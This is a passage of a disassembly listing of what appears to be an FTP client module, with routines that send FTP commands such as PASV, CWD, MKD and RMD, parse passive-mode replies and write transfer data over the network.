		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 4684D75h, 0E8004474h, 7780841Ah,	4C48390h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473F468h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh,	0E8004475h
		dd 77808336h, 4C48390h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473EC68h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73EC682Ch, 0E8900044h, 77808226h,	5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 80843DE8h
		dd 0C4839077h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0AC685752h,	90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447670
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B0
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
